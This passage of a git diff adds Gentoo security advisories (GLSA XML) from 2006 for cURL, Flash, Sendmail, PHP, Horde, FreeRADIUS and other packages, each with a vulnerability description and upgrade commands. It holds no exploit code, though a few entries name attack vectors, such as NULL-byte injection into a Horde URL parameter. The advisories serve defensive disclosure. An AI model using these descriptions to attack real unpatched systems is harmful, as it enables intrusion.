+      <unaffected range="le">7.14.1</unaffected>
+      <vulnerable range="lt">7.15.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cURL is a command line tool for transferring files with URL
+    syntax, supporting numerous protocols. libcurl is the corresponding
+    client-side library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar reported a possible buffer overflow in the handling
+    of TFTP URLs in libcurl due to the lack of boundary checks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to compromise a
+    user's system by enticing the user to request a malicious URL with
+    cURL/libcurl or to use a HTTP server redirecting to a malicious TFTP
+    URL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cURL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.15.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://curl.haxx.se/docs/adv_20060320.html">Project cURL Security Advisory, March 20th 2006</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1061">CVE-2006-1061</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Mar 2006 17:27:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Mar 2006 17:28:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Mar 2006 22:09:32 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-20.xml b/xml/htdocs/security/en/glsa/glsa-200603-20.xml
new file mode 100644
index 00000000..801f1fb6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-20.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-20">
+  <title>Macromedia Flash Player: Arbitrary code execution</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified that allows arbitrary code execution on
+    a user's system via the handling of malicious SWF files.
+  </synopsis>
+  <product type="ebuild">Flash</product>
+  <announced>March 21, 2006</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>102777</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">7.0.63</unaffected>
+      <vulnerable range="lt">7.0.63</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Macromedia Flash Player is a renderer for the popular SWF
+    filetype which is commonly used to provide interactive websites,
+    digital experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Macromedia Flash Player contains multiple unspecified
+    vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker serving a maliciously crafted SWF file could entice a
+    user to view the SWF file and execute arbitrary code on the user's
+    machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Macromedia Flash Player users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-7.0.63&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0024">CVE-2006-0024</uri>
+    <uri link="http://www.macromedia.com/devnet/security/security_zone/apsb06-03.html">Macromedia Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Mar 2006 19:42:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Mar 2006 19:43:49 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-21.xml b/xml/htdocs/security/en/glsa/glsa-200603-21.xml
new file mode 100644
index 00000000..b8631a77
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-21.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-21">
+  <title>Sendmail: Race condition in the handling of asynchronous signals</title>
+  <synopsis>
+    Sendmail is vulnerable to a race condition which could lead to the
+    execution of arbitrary code with sendmail privileges.
+  </synopsis>
+  <product type="ebuild">sendmail</product>
+  <announced>March 22, 2006</announced>
+  <revised>March 22, 2006: 01</revised>
+  <bug>125623</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/sendmail" auto="yes" arch="*">
+      <unaffected range="ge">8.13.6</unaffected>
+      <vulnerable range="lt">8.13.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sendmail is a popular mail transfer agent (MTA).
+    </p>
+  </background>
+  <description>
+    <p>
+    ISS discovered that Sendmail is vulnerable to a race condition in
+    the handling of asynchronous signals.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this via certain crafted timing
+    conditions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sendmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/sendmail-8.13.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0058">CVE-2006-0058</uri>
+    <uri link="http://www.sendmail.com/company/advisory/index.shtml">Sendmail Inc. advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Mar 2006 20:21:08 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Mar 2006 19:48:59 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-22.xml b/xml/htdocs/security/en/glsa/glsa-200603-22.xml
new file mode 100644
index 00000000..47eb123b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-22.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-22">
+  <title>PHP: Format string and XSS vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in PHP allow remote attackers to inject arbitrary
+    HTTP headers, perform cross site scripting or in some cases execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>March 22, 2006</announced>
+  <revised>March 22, 2006: 01</revised>
+  <bug>125878</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="ge">5.1.2</unaffected>
+      <vulnerable range="lt">4.4.2</vulnerable>
+      <vulnerable range="rge">5.1.1</vulnerable>
+      <vulnerable range="rge">5.0.5</vulnerable>
+      <vulnerable range="rge">5.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run on a web server with the mod_php
+    module or the CGI version and also stand-alone in a CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser of the Hardened PHP project has reported a few
+    vulnerabilities found in PHP:
+    </p>
+    <ul>
+    <li>Input passed to the session
+    ID in the session extension isn't properly sanitised before being
+    returned to the user via a "Set-Cookie" HTTP header, which can contain
+    arbitrary injected data.</li>
+    <li>A format string error while
+    processing error messages using the mysqli extension in version 5.1 and
+    above.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted request, a remote attacker can
+    exploit this vulnerability to inject arbitrary HTTP headers, which will
+    be included in the response sent to the user. The format string
+    vulnerability may be exploited to execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP 5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.1.2&quot;</code>
+    <p>
+    All PHP 4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-4.4.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0207">CVE-2006-0207</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0208">CVE-2006-0208</uri>
+    <uri link="http://www.hardened-php.net/advisory_022006.112.html">Hardened-PHP Advisory 01/2006</uri>
+    <uri link="http://www.hardened-php.net/advisory_012006.113.html">Hardened-PHP Advisory 02/2006</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Mar 2006 21:28:04 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Mar 2006 21:28:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 18 Mar 2006 03:27:49 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-23.xml b/xml/htdocs/security/en/glsa/glsa-200603-23.xml
new file mode 100644
index 00000000..34f49750
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-23.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-23">
+  <title>NetHack, Slash'EM, Falcon's Eye: Local privilege escalation</title>
+  <synopsis>
+    NetHack, Slash'EM and Falcon's Eye are vulnerable to local privilege
+    escalation vulnerabilities that could potentially allow the execution of
+    arbitrary code as other users.
+  </synopsis>
+  <product type="ebuild">nethack slashem falconseye</product>
+  <announced>March 23, 2006</announced>
+  <revised>March 30, 2006: 01</revised>
+  <bug>125902</bug>
+  <bug>122376</bug>
+  <bug>127167</bug>
+  <bug>127319</bug>
+  <access>local</access>
+  <affected>
+    <package name="games-roguelike/nethack" auto="yes" arch="*">
+      <vulnerable range="le">3.4.3-r1</vulnerable>
+    </package>
+    <package name="games-roguelike/falconseye" auto="yes" arch="*">
+      <vulnerable range="le">1.9.4a</vulnerable>
+    </package>
+    <package name="games-roguelike/slashem" auto="yes" arch="*">
+      <vulnerable range="le">0.0.760</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NetHack is the classic single player dungeon exploration game. Slash'EM
+    and Falcon's Eye are NetHack variants.
+    </p>
+  </background>
+  <description>
+    <p>
+    NetHack, Slash'EM and Falcon's Eye have been found to be incompatible
+    with the system used for managing games on Gentoo Linux. As a result,
+    they cannot be played securely on systems with multiple users.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user who is a member of group "games" may be able to modify the
+    state data used by NetHack, Slash'EM or Falcon's Eye to trigger the
+    execution of arbitrary code with the privileges of other players.
+    Additionally, the games may create save game files in a manner not
+    suitable for use on Gentoo Linux, potentially allowing a local user to
+    create or overwrite files with the permissions of other players.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not add untrusted users to the "games" group.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    NetHack has been masked in Portage pending the resolution of these
+    issues. Vulnerable NetHack users are advised to uninstall the package
+    until further notice.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge &quot;games-roguelike/nethack&quot;</code>
+    <p>
+    Slash'EM has been masked in Portage pending the resolution of these
+    issues. Vulnerable Slash'EM users are advised to uninstall the package
+    until further notice.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge &quot;games-roguelike/slashem&quot;</code>
+    <p>
+    Falcon's Eye has been masked in Portage pending the resolution of these
+    issues. Vulnerable Falcon's Eye users are advised to uninstall the
+    package until further notice.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge &quot;games-roguelike/falconseye&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1390">CVE-2006-1390</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 22 Mar 2006 22:13:28 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 22 Mar 2006 22:57:23 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 23 Mar 2006 22:05:55 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-24.xml b/xml/htdocs/security/en/glsa/glsa-200603-24.xml
new file mode 100644
index 00000000..3fe19bce
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-24.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-24">
+  <title>RealPlayer: Buffer overflow vulnerability</title>
+  <synopsis>
+    RealPlayer is vulnerable to a buffer overflow that could lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">RealPlayer</product>
+  <announced>March 26, 2006</announced>
+  <revised>March 26, 2006: 01</revised>
+  <bug>127352</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">10.0.7</unaffected>
+      <vulnerable range="lt">10.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    RealPlayer is vulnerable to a buffer overflow when processing
+    malicious SWF files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted SWF file an
+    attacker could execute arbitrary code with the permissions of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-10.0.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323">CVE-2006-0323</uri>
+    <uri link="http://service.real.com/realplayer/security/03162006_player/en/">RealNetworks Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 23 Mar 2006 23:38:12 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 24 Mar 2006 13:36:18 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 26 Mar 2006 17:28:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-25.xml b/xml/htdocs/security/en/glsa/glsa-200603-25.xml
new file mode 100644
index 00000000..7cb7cb65
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-25.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-25">
+  <title>OpenOffice.org: Heap overflow in included libcurl</title>
+  <synopsis>
+    OpenOffice.org contains a vulnerable version of libcurl that may cause a
+    heap overflow when parsing URLs.
+  </synopsis>
+  <product type="ebuild">openoffice openoffice-bin</product>
+  <announced>March 27, 2006</announced>
+  <revised>March 27, 2006: 01</revised>
+  <bug>126433</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2</unaffected>
+      <vulnerable range="lt">2.0.2</vulnerable>
+    </package>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1-r1</unaffected>
+      <vulnerable range="lt">2.0.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an office productivity suite, including word
+    processing, spreadsheet, presentation, data charting, formula editing
+    and file conversion facilities. libcurl, which is included in
+    OpenOffice.org, is a free and easy-to-use client-side library for
+    transferring files with URL syntaxes, supporting numerous protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    OpenOffice.org includes libcurl code. This libcurl code is
+    vulnerable to a heap overflow when it tries to parse a URL that exceeds
+    a 256-byte limit (GLSA 200512-09).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to call a specially crafted URL
+    with OpenOffice.org, potentially resulting in the execution of
+    arbitrary code with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.0.2&quot;</code>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.0.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4077">CVE-2005-4077</uri>
+    <uri link="http://www.hardened-php.net/advisory_242005.109.html">Hardened-PHP Advisory 24/2005</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200512-09.xml">GLSA 200512-09</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 17 Mar 2006 09:53:36 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Mar 2006 18:15:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 18 Mar 2006 01:42:41 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-26.xml b/xml/htdocs/security/en/glsa/glsa-200603-26.xml
new file mode 100644
index 00000000..adc9a207
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-26.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-26">
+  <title>bsd-games: Local privilege escalation in tetris-bsd</title>
+  <synopsis>
+    tetris-bsd is prone to local privilege escalation vulnerabilities.
+  </synopsis>
+  <product type="ebuild">bsd-games</product>
+  <announced>March 29, 2006</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>122399</bug>
+  <access>local</access>
+  <affected>
+    <package name="games-misc/bsd-games" auto="yes" arch="*">
+      <unaffected range="ge">2.17-r1</unaffected>
+      <vulnerable range="lt">2.17-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    bsd-games is a collection of NetBSD games ported to Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that
+    the checkscores() function in scores.c reads in the data from the
+    /var/games/tetris-bsd.scores file without validation, rendering it
+    vulnerable to buffer overflows and incompatible with the system used
+    for managing games on Gentoo Linux. As a result, it cannot be played
+    securely on systems with multiple users. Please note that this is
+    probably a Gentoo-specific issue.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user who is a member of group "games" may be able to modify the
+    tetris-bsd.scores file to trigger the execution of arbitrary code with
+    the privileges of other players.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not add untrusted users to the "games" group.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All bsd-games users are advised to update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-misc/bsd-games-2.17-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1539">CVE-2006-1539</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Mar 2006 19:50:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 27 Mar 2006 15:36:51 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Mar 2006 18:00:28 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-01.xml b/xml/htdocs/security/en/glsa/glsa-200604-01.xml
new file mode 100644
index 00000000..9fb93825
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-01">
+  <title>MediaWiki: Cross-site scripting vulnerability</title>
+  <synopsis>
+    MediaWiki is vulnerable to a cross-site scripting attack that could allow
+    arbitrary JavaScript code execution.
+  </synopsis>
+  <product type="ebuild">mediawiki</product>
+  <announced>April 04, 2006</announced>
+  <revised>April 04, 2006: 01</revised>
+  <bug>127971</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mediawiki" auto="yes" arch="*">
+      <unaffected range="ge">1.4.15</unaffected>
+      <vulnerable range="lt">1.4.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MediaWiki is a collaborative editing software, used by big
+    projects like Wikipedia.
+    </p>
+  </background>
+  <description>
+    <p>
+    MediaWiki fails to decode certain encoded URLs correctly.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By supplying specially crafted links, a remote attacker could
+    exploit this vulnerability to inject malicious HTML or JavaScript code
+    that will be executed in a user's browser session in the context of the
+    vulnerable site.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MediaWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mediawiki-1.4.15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1498">CVE-2006-1498</uri>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=404869">MediaWiki 1.4.15 Release Notes</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Apr 2006 08:58:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Apr 2006 08:58:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 02 Apr 2006 17:15:00 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-02.xml b/xml/htdocs/security/en/glsa/glsa-200604-02.xml
new file mode 100644
index 00000000..fc534628
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-02.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-02">
+  <title>Horde Application Framework: Remote code execution</title>
+  <synopsis>
+    The help viewer of the Horde Framework allows attackers to execute
+    arbitrary remote code.
+  </synopsis>
+  <product type="ebuild">horde</product>
+  <announced>April 04, 2006</announced>
+  <revised>April 04, 2006: 01</revised>
+  <bug>127889</bug>
+  <bug>126435</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1</unaffected>
+      <vulnerable range="lt">3.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Horde Application Framework is a general-purpose web
+    application framework written in PHP, providing classes for handling
+    preferences, compression, browser detection, connection tracking, MIME
+    and more.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jan Schneider of the Horde team discovered a vulnerability in the
+    help viewer of the Horde Application Framework that could allow remote
+    code execution (CVE-2006-1491). Paul Craig reported that
+    "services/go.php" fails to validate the passed URL parameter correctly
+    (CVE-2006-1260).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit the vulnerability in the help viewer to
+    execute arbitrary code with the privileges of the web server user. By
+    embedding a NULL character in the URL parameter, an attacker could
+    exploit the input validation issue in go.php to read arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde Application Framework users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-3.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1260">CVE-2006-1260</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1491">CVE-2006-1491</uri>
+    <uri link="http://lists.horde.org/archives/announce/2006/000271.html">Horde Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 31 Mar 2006 23:07:49 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 03 Apr 2006 09:02:34 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Apr 2006 18:34:51 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-03.xml b/xml/htdocs/security/en/glsa/glsa-200604-03.xml
new file mode 100644
index 00000000..285859cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-03">
+  <title>FreeRADIUS: Authentication bypass in EAP-MSCHAPv2 module</title>
+  <synopsis>
+    The EAP-MSCHAPv2 module of FreeRADIUS is affected by a validation issue
+    which causes some authentication checks to be bypassed.
+  </synopsis>
+  <product type="ebuild">freeradius</product>
+  <announced>April 04, 2006</announced>
+  <revised>April 04, 2006: 01</revised>
+  <bug>127229</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/freeradius" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1</unaffected>
+      <unaffected range="lt">1.0.0</unaffected>
+      <vulnerable range="lt">1.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeRADIUS is an open source RADIUS authentication server
+    implementation.
+    </p>
+  </background>
+  <description>
+    <p>
+    FreeRADIUS suffers from insufficient input validation in the
+    EAP-MSCHAPv2 state machine.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause the server to bypass authentication checks
+    by manipulating the EAP-MSCHAPv2 client state machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeRADIUS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/freeradius-1.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1354">CVE-2006-1354</uri>
+    <uri link="http://www.freeradius.org/security.html">FreeRADIUS Vulnerability Notifications</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 01 Apr 2006 10:41:34 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Apr 2006 10:42:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 01 Apr 2006 23:30:58 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-04.xml b/xml/htdocs/security/en/glsa/glsa-200604-04.xml
new file mode 100644
index 00000000..97f3c4ad
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
